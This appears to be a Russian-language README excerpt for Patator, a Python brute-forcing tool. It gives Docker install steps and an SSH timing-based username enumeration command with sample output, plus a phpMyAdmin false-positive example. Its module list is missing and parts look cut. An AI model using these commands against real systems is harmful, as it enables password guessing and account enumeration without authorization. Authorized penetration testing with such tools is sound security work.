
Patator — это многоцелевой брутфорсер с модульной конструкцией и гибким использованием.
Patator был написан из-за разочарования от использования Hydra, Medusa, Ncrack, модулей Metasploit и NSE-скриптов Nmap для атак с подбором паролей. Я выбрал иной подход, чтобы не создавать очередной инструмент для брутфорса и не повторять те же недостатки. Patator — это многопоточный инструмент, написанный на Python, который стремится быть более надёжным и гибким, чем его предшественники.
В настоящее время он поддерживает следующие модули:```
Название «Patator» происходит из [этого](https://www.youtube.com/watch?v=9sF9fTALhVA).
Patator НЕ предназначен для скрипт-кидди, пожалуйста, прочитайте нижеследующее, [DeepWiki](https://deepwiki.com/lanjelot/patator) и [wiki](https://github.com/lanjelot/patator/wiki), прежде чем сообщать о проблемах.
Пожалуйста, поддержите проект пожертвованием, если он вам нравится! :)
<div align="center">
| PayPal | Bitcoin |
| -------- | ------- |
| [](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator¤cy_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)| [](https://raw.githubusercontent.com/lanjelot/patator/master/donate/bitcoin-address.txt) |
</div>
Большое спасибо! [@lanjelot](https://twitter.com/lanjelot)
## Установка```
git clone https://github.com/lanjelot/patator.git
git clone https://github.com/danielmiessler/SecLists.git
docker build -t patator patator/
docker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt
Протестировано на `vsftpd-3.0.2-9` в `CentOS 7.0-1406`.
* SSH : Перечисление пользователей на основе времени```
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT
17:45:20 patator INFO -
17:45:20 patator INFO - code size time | candidate | num | mesg
17:45:20 patator INFO - -----------------------------------------------------------------------------
17:45:30 patator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out
17:45:34 patator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out
17:45:37 patator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out
...
Протестировано с openssh-server 1:6.0p1-4+deb7u2 на Debian 7.8.
Payload #72 был ложным срабатыванием из-за неожиданного сообщения об ошибке:```
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
Протестировано на phpMyAdmin 4.2.7.1.